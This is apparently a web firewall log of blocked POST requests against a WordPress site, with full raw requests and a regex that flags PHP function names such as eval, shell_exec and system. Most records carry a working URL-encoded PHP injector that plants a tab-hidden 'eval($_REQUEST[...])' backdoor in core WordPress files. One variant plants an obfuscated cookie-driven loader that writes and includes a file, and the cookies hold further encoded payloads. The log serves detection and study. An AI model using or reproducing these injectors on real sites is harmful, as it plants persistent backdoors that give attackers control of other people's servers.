HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2026\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\n\nIW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:41:23","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:2026\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nDL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:41:42","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:2026\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nRL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:41:54","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2026\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nVt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:42:00","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2049\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:42:24","54.36.177.228","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 